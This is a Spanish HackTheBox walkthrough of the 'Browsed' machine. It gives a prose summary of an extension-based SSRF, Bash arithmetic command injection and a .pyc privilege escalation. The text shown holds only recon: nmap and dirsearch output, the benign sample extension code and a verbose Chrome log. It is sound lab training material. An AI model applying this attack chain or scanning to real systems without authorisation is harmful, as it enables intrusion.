This page looks best with JavaScript enabled

HackTheBox - Browsed

 •  ✍️ sckull
featured image

Browsed permite la carga y prueba de extensiones Chrome, esto permitio identificar un nuevo dominio para Gitea, este alojaba un repositorio de una aplicacion interna. Tras analizar este ultimo se identifico una vulnerabilidad a traves de Evaluaciones Aritmeticas en Bash que permitia la ejecucion de Comandos. Se creo una extension para acceder a la aplicacion (SSRF) y explotar esta vulnerabilidad para obtener acceso a la maquina. Se identifico un script de Python ejecutable con sudo. Este hace uso de un modulo de utilidades, el cual aprovechamos a traves de archivos de Python Compilado (pyc) para ejecutar comandos y escalar privilegios.

Nombre Browsed
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2026-01-10
IP 10.129.4.134
Maker

Tensho

Rated 
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [56, 35, 188, 285, 487, 194, 95, 27, 10, 15],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# Nmap 7.95 scan initiated Sat Jan 10 17:50:30 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.4.134
Nmap scan report for 10.129.4.134
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 10 17:50:41 2026 -- 1 IP address (1 host up) scanned in 10.99 seconds

Web Site

Los headers del sitio muestran un servidor nginx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

❯ curl -sI 10.129.4.134
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 10 Jan 2026 23:50:31 GMT
Content-Type: text/html
Content-Length: 6708
Last-Modified: Sun, 17 Aug 2025 14:53:03 GMT
Connection: keep-alive
ETag: "68a1eccf-1a34"
Accept-Ranges: bytes

❯

El sitio esta enfocado en extensiones para navegadores. Ademas, se menciona chrome version 134.

image
image

Se muestran dos ejemplos de extensiones.

image

Se muestra un formulario para subir extensiones.

image

Directory Brute Forcing

dirsearch muestra unicmanete la pagina upload.php junto con archivos estaticos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

 dirsearch -u http://10.129.4.134/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/browsed/reports/http_10.129.4.134/__26-01-10_18-01-29.txt

Target: http://10.129.4.134/

[18:01:29] Starting: 
[18:01:42] 403 -  564B  - /assets/
[18:01:42] 301 -  178B  - /assets  ->  http://10.129.4.134/assets/
[18:01:51] 301 -  178B  - /images  ->  http://10.129.4.134/images/
[18:01:51] 403 -  564B  - /images/
[18:01:53] 200 -   17KB - /LICENSE.txt
[18:02:00] 200 -    1KB - /README.txt
[18:02:07] 200 -    7KB - /upload.php

Task Completed
❯

Extensions

Descargamos las tres extensiones de ejemplo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

❯ wget http://10.129.4.134/fontify.zip
--2026-01-10 18:04:52--  http://10.129.4.134/fontify.zip
Connecting to 10.129.4.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1930 (1.9K) [application/zip]
Saving to: ‘fontify.zip’

fontify.zip                                   100%[=================================================================================================>]   1.88K  --.-KB/s    in 0s      

2026-01-10 18:04:52 (267 MB/s) - ‘fontify.zip’ saved [1930/1930]

❯ wget -q http://10.129.4.134/replaceimages.zip
❯ wget -q http://10.129.4.134/timer.zip
❯ ll
.rw-rw-r-- kali kali 1.9 KB Sun Aug 17 08:45:02 2025  fontify.zip
.rw-rw-r-- kali kali 762 B  Sun Aug 17 08:46:45 2025  replaceimages.zip
.rw-rw-r-- kali kali 1.6 KB Sun Aug 17 08:47:10 2025  timer.zip
❯

Se muestra una estrucutra simple en los archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

❯ unzip -l timer.zip
Archive:  timer.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      273  2025-03-20 02:42   manifest.json
      369  2025-03-19 10:12   popup.html
     1311  2025-03-19 10:13   popup.js
      240  2025-03-19 10:12   style.css
---------                     -------
     2193                     4 files
❯

La extension timer muestra un temporizador.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Focus Timer",
  "version": "1.13.0",
  "description": "Simple Pomodoro-style timer to stay focused.",
  "permissions": [
    "notifications"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Focus Timer"
  }
}
❯ cat popup.html
<!DOCTYPE html>
<html>
  <head>
    <title>Focus Timer</title>
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1 id="timer">25:00</h1>
    <div class="buttons">
      <button id="start">Start</button>
      <button id="pause">Pause</button>
      <button id="reset">Reset</button>
    </div>
    <script src="popup.js"></script>
  </body>
</html>
❯ cat popup.js
let timerDisplay = document.getElementById("timer");
let startBtn = document.getElementById("start");
let pauseBtn = document.getElementById("pause");
let resetBtn = document.getElementById("reset");

let duration = 25 * 60; // 25 minutes
let remaining = duration;
let timerInterval = null;

function updateDisplay() {
  let minutes = Math.floor(remaining / 60);
  let seconds = remaining % 60;
  timerDisplay.textContent = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
}

function startTimer() {
  if (timerInterval) return;
  timerInterval = setInterval(() => {
    if (remaining > 0) {
      remaining--;
      updateDisplay();
    } else {
      clearInterval(timerInterval);
      timerInterval = null;
      chrome.notifications?.create({
        type: "basic",
        iconUrl: "icon.png",
        title: "Time's Up!",
        message: "Take a break!",
        priority: 2
      });
    }
  }, 1000);
}

function pauseTimer() {
  clearInterval(timerInterval);
  timerInterval = null;
}

function resetTimer() {
  clearInterval(timerInterval);
  timerInterval = null;
  remaining = duration;
  updateDisplay();
}

startBtn.addEventListener("click", startTimer);
pauseBtn.addEventListener("click", pauseTimer);
resetBtn.addEventListener("click", resetTimer);

updateDisplay();
❯

En el caso de replaceimages toma la imagen de una URL para reemplazarla en cada tag img.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Replace Images",
  "version": "1.0.0",
  "description": "Replaces every image on a page with one from a URL.",
  "permissions": ["scripting"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}
❯ cat content.js
// use an image of your liking !
// const replacementImageUrl = "Your favourite image here"
const replacementImageUrl = "https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47"

document.querySelectorAll('img').forEach(img => {
  img.src = replacementImageUrl;
  img.srcset = "";
});
❯

fontify reemplaza la fuente segun eleccion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "description": "Choose a font to apply to all websites!",
  "permissions": [
    "storage",
    "scripting"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Choose your font"
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}
❯ cat popup.html
<!DOCTYPE html>
<html>
  <head>
    <title>Font Switcher</title>
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h2>Select a Font</h2>
    <select id="fontSelector">
      <option value="Comic Sans MS">Comic Sans MS</option>
      <option value="Papyrus">Papyrus</option>
      <option value="Impact">Impact</option>
      <option value="Courier New">Courier New</option>
      <option value="Times New Roman">Times New Roman</option>
      <option value="Arial">Arial</option>
    </select>
    <script src="popup.js"></script>
  </body>
</html>
❯ cat popup.js
const fontSelector = document.getElementById("fontSelector");

chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
  if (selectedFont) {
    fontSelector.value = selectedFont;
  }
});

fontSelector.addEventListener("change", () => {
  const selectedFont = fontSelector.value;
  chrome.storage.sync.set({ selectedFont }, () => {
    chrome.tabs.query({ active: true, currentWindow: true }, tabs => {
      chrome.scripting.executeScript({
        target: { tabId: tabs[0].id },
        func: (font) => {
          const style = document.createElement("style");
          style.innerText = `* { font-family: '${font}' !important; }`;
          document.head.appendChild(style);
        },
        args: [selectedFont]
      });
    });
  });
});
❯

Testing Extension

Subimos la extension replaceimagenes al sitio, este devuelve el output de la ejecucion.

image

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545

[2555:2555:0111/001624.535269:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2555:2555:0111/001624.616546:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2562:2562:0111/001624.744385:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2563:2563:0111/001624.744404:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2562:2562:0111/001624.763667:INFO:cpu_info.cc(53)] Available number of cores: 2
[2563:2563:0111/001624.763672:INFO:cpu_info.cc(53)] Available number of cores: 2
[2562:2562:0111/001624.767535:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2563:2563:0111/001624.767541:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2555:2555:0111/001624.806211:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping mandatory platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/managed
[2555:2555:0111/001624.806274:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping recommended platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/recommended
[2555:2555:0111/001624.833240:VERBOSE1:variations_field_trial_creator_base.cc(539)] Applying FieldTrialTestingConfig
[2555:2555:0111/001624.843861:VERBOSE1:variations_field_trial_creator_base.cc(357)] VariationsSetupComplete
[2555:2555:0111/001624.854545:WARNING:display_server_utils.cc(100)] This is not a Wayland session. Falling back to X11. If you need to run Chrome on Wayland using some embedded compositor, e.g. Weston, please specify Wayland as your preferred Ozone platform, or use --ozone-platform=wayland.
[2555:2570:0111/001624.886235:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.login1"

[2555:2573:0111/001624.911218:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.chromium.bluetooth.Manager"

[2555:2555:0111/001624.922415:VERBOSE1:webrtc_event_log_manager.cc(96)] WebRTC remote-bound event logging enabled.
[2555:2555:0111/001624.932293:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623c2c0: set chrome proxy config service to 0x2fbc062e49c0
[2555:2555:0111/001624.978651:VERBOSE1:device_event_log_impl.cc(204)] [00:16:24.951] Display: EVENT: x11_display_manager.cc:110 Displays updated, count: 1
[2555:2555:0111/001624.978783:VERBOSE1:device_event_log_impl.cc(204)] [00:16:24.978] Display: EVENT: x11_display_manager.cc:112 Display[60] bounds=[0,0 1280x1024], workarea=[0,0 1280x1024], scale=1, rotation=0, panel_rotation=0 external detected
[2555:2555:0111/001624.986098:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2555:2570:0111/001624.991393:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.991600:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.996378:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2570:0111/001624.997176:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2571:0111/001625.031179:VERBOSE1:media_stream_manager.cc(1501)] MSM::InitializeMaybeAsync([this=0x2fbc06324f00])
[2555:2571:0111/001625.031222:VERBOSE1:media_stream_manager.cc(1501)] MDM::MediaDevicesManager()
[2555:2571:0111/001625.032628:VERBOSE1:media_stream_manager.cc(1501)] MSM::MediaStreamManager([this=0x2fbc06324f00]))
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
[2555:2566:0111/001625.689594:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Consent To Send Stats": No such file or directory (2)
[2555:2555:0111/001625.702501:VERBOSE1:key_storage_util_linux.cc(46)] Password storage detected desktop environment: (unknown)
[2555:2555:0111/001625.702531:VERBOSE1:key_storage_linux.cc(116)] Selected backend for OSCrypt: BASIC_TEXT
[2555:2555:0111/001625.702552:VERBOSE1:key_storage_linux.cc(135)] OSCrypt did not initialize a backend.
[2555:2570:0111/001625.703630:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001625.706647:VERBOSE1:chrome_browser_cloud_management_controller.cc(161)] Cloud management controller initialization aborted as CBCM is not enabled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[2555:2566:0111/001625.785812:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Web Applications/Logs/WebAppInstallManager.log": No such file or directory (2)
[2555:2570:0111/001625.788117:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001625.790756:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623cb00: set chrome proxy config service to 0x2fbc062e7c20
[2555:2555:0111/001625.792035:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(310)] MutablePO2TS::MutablePO2TS
[2555:2575:0111/001625.804569:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2555:0111/001625.805481:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x2fbc0623ec00: set chrome proxy config service to 0x2fbc062e9140
[2555:2555:0111/001625.805717:VERBOSE1:device_event_log_impl.cc(204)] [00:16:25.805] Bluetooth: EVENT: bluetooth_api.cc:82 BluetoothAPI: 0x2fbc06319800
[2555:2579:0111/001625.808777:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2579:0111/001625.808839:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index": No such file or directory (2)
[2555:2579:0111/001625.808867:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index-dir": No such file or directory (2)
[2555:2579:0111/001625.808885:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/the-real-index": No such file or directory (2)
[2555:2575:0111/001625.809281:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index": No such file or directory (2)
[2555:2575:0111/001625.809315:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index-dir": No such file or directory (2)
[2555:2575:0111/001625.809341:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/the-real-index": No such file or directory (2)
[2555:2575:0111/001625.809787:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2575:0111/001625.809812:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2555:2579:0111/001625.810769:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2579:0111/001625.810790:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2555:2599:0111/001625.813046:ERROR:disk_cache.cc(216)] Unable to create cache
[2555:2599:0111/001625.813073:ERROR:disk_cache.cc(216)] Unable to create cache
[2555:2555:0111/001625.816923:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.816950:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.825374:VERBOSE1:bluetooth_low_energy_event_router.cc(291)] Initializing BluetoothLowEnergyEventRouter.
[2555:2555:0111/001625.833423:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.833444:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2555:2555:0111/001625.833537:VERBOSE1:account_reconcilor.cc(181)] AccountReconcilor::AccountReconcilor
[2555:2555:0111/001625.833551:VERBOSE1:account_reconcilor.cc(219)] AccountReconcilor::Initialize
[2555:2555:0111/001625.833584:VERBOSE1:account_reconcilor.cc(273)] AccountReconcilor::RegisterWithContentSettings
[2555:2555:0111/001625.833593:VERBOSE1:account_reconcilor.cc(296)] AccountReconcilor::RegisterWithIdentityManager
[2555:2555:0111/001625.862070:VERBOSE1:cached_result_provider.cc(54)] CachedResultProvider loaded prefs with results from previous session: PredictionResult: timestamp: 13399907498883586 result 0: 0 for segmentation key shopping_user
[2583:2583:0111/001625.871160:VERBOSE1:va_stubs.cc(663)] dlopen(libva.so.2) failed.
[2583:2583:0111/001625.871385:VERBOSE1:va_stubs.cc(665)] dlerror() says:
libva.so.2: cannot open shared object file: No such file or directory
[2583:2583:0111/001625.872576:VERBOSE1:vaapi_wrapper.cc(1556)] GetHandle(): Either VADisplayStateSingleton::PreSandboxInitialization() hasn't been called or that method failed to find a suitable render node
[2583:2583:0111/001625.873839:WARNING:gpu_memory_buffer_support_x11.cc(49)] dri3 extension not supported.
[2583:2583:0111/001625.879522:WARNING:sandbox_linux.cc(420)] InitializeSandbox() called with multiple threads in process gpu-process.
[2583:2583:0111/001625.882212:WARNING:viz_main_impl.cc(85)] VizNullHypothesis is disabled (not a warning)
[2555:2555:0111/001625.883644:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Web Store
[2555:2555:0111/001625.892478:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Chromium PDF Viewer
[2555:2555:0111/001625.897794:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/verified_contents.json": No such file or directory (2)
[2555:2555:0111/001625.897839:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/computed_hashes.json": No such file or directory (2)
[2555:2555:0111/001625.897858:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2555:2555:0111/001625.897895:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_6962ebd7c33750.47114202/_metadata": No such file or directory (2)
[2555:2555:0111/001625.923995:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001625.924046:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001625.924391:VERBOSE1:profile_manager.cc(1921)] ForceSigninCheck: 0, 0, 1
[2555:2567:0111/001625.927193:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/User Policy": No such file or directory (2)
[2555:2567:0111/001625.927235:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/Signing Key": No such file or directory (2)

DevTools listening on ws://127.0.0.1:40899/devtools/browser/d228454d-b707-4ea4-83a9-29851a07bb18
[2555:2566:0111/001625.932234:VERBOSE1:component_installer.cc(481)] StartRegistration for Widevine Content Decryption Module
[2555:2566:0111/001625.932427:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Widevine Content Decryption Module at /opt/chrome-linux64/WidevineCdm with version 4.10.2891.0.
[2555:2567:0111/001625.932427:VERBOSE1:component_installer.cc(481)] StartRegistration for Subresource Filter Rules
[2555:2555:0111/001625.935676:VERBOSE1:on_device_head_suggest_component_installer.cc(61)] On Device Head Component will fetch model for locale: ENUS500000
[2555:2555:0111/001625.935754:VERBOSE1:trust_token_key_commitments_component_installer.cc(23)] Registering Trust Token Key Commitments component.
[2555:2568:0111/001625.935803:VERBOSE1:component_installer.cc(481)] StartRegistration for OnDeviceHeadSuggest
[2555:2567:0111/001625.936012:VERBOSE1:component_installer.cc(481)] StartRegistration for Optimization Hints
[2555:2566:0111/001625.936094:VERBOSE1:component_installer.cc(481)] StartRegistration for Trust Token Key Commitments
[2555:2555:0111/001625.936612:VERBOSE1:first_party_sets_component_installer.cc(39)] Registering Related Website Sets component.
[2555:2555:0111/001625.936660:VERBOSE1:masked_domain_list_component_installer.cc(24)] Registering Masked Domain List component.
[2555:2555:0111/001625.936706:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(181)] Registering Privacy Sandbox Attestations component
[2555:2576:0111/001625.936747:VERBOSE1:component_installer.cc(481)] StartRegistration for Privacy Sandbox Attestations
[2555:2555:0111/001625.936751:VERBOSE1:afp_blocked_domain_list_component_installer.cc(180)] Registering Anti-Fingerprinting Blocked Domain List Component.
[2555:2578:0111/001625.936951:VERBOSE1:component_installer.cc(481)] StartRegistration for Fingerprinting Protection Filter Rules
[2555:2555:0111/001625.936970:VERBOSE1:file_type_policies_component_installer.cc(128)] Registering File Type Policies component.
[2555:2579:0111/001625.937249:VERBOSE1:component_installer.cc(481)] StartRegistration for History Search
[2555:2568:0111/001625.937536:VERBOSE1:component_installer.cc(481)] StartRegistration for Certificate Error Assistant
[2555:2555:0111/001625.937649:VERBOSE1:hyphenation_component_installer.cc(151)] Registering Hyphenation component.
[2555:2575:0111/001625.936725:VERBOSE1:component_installer.cc(481)] StartRegistration for Masked Domain List
[2555:2566:0111/001625.938022:VERBOSE1:component_installer.cc(481)] StartRegistration for CRLSet
[2555:2577:0111/001625.938052:VERBOSE1:component_installer.cc(481)] StartRegistration for File Type Policies
[2555:2567:0111/001625.938325:VERBOSE1:component_installer.cc(481)] StartRegistration for Origin Trials
[2555:2614:0111/001625.938378:VERBOSE1:component_installer.cc(481)] StartRegistration for MEI Preload
[2555:2600:0111/001625.938485:VERBOSE1:component_installer.cc(481)] StartRegistration for PKI Metadata
[2555:2579:0111/001625.938959:VERBOSE1:component_installer.cc(481)] StartRegistration for Safety Tips
[2555:2613:0111/001625.938979:VERBOSE1:component_installer.cc(481)] StartRegistration for Crowd Deny
[2555:2576:0111/001625.939269:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Privacy Sandbox Attestations at /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded with version 2025.1.31.0.
[2555:2578:0111/001625.939568:VERBOSE1:component_installer.cc(481)] StartRegistration for Hyphenation
[2555:2568:0111/001625.940104:VERBOSE1:component_installer.cc(481)] StartRegistration for Zxcvbn Data Dictionaries
[2555:2566:0111/001625.940322:VERBOSE1:component_installer.cc(481)] StartRegistration for Autofill States Data
[2555:2614:0111/001625.941227:VERBOSE1:component_installer.cc(316)] Preinstalled component found for MEI Preload at /opt/chrome-linux64/MEIPreload with version 1.0.7.1652906823.
[2555:2578:0111/001625.943114:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Hyphenation at /opt/chrome-linux64/hyphen-data with version 1.0.0.0.
[2555:2555:0111/001625.948631:VERBOSE1:tpcd_metadata_component_installer.cc(23)] Third Party Cookie Deprecation Metadata component.
[2555:2555:0111/001625.948699:VERBOSE1:translate_kit_component_installer.cc(160)] Registering TranslateKit component.
[2555:2567:0111/001625.948736:VERBOSE1:component_installer.cc(481)] StartRegistration for Third-Party Cookie Deprecation Metadata
[2555:2555:0111/001625.948761:VERBOSE1:open_cookie_database_component_installer.cc(23)] Registering Open Cookie Database component.
[2555:2555:0111/001625.948790:VERBOSE1:cookie_readiness_list_component_installer.cc(24)] Registering Cookie Readiness List component.
[2555:2575:0111/001625.948853:VERBOSE1:component_installer.cc(481)] StartRegistration for Plus Address Blocklist
[2555:2566:0111/001625.949171:VERBOSE1:component_installer.cc(481)] StartRegistration for Open Cookie Database
[2555:2568:0111/001625.949235:VERBOSE1:component_installer.cc(481)] StartRegistration for Cookie Readiness List
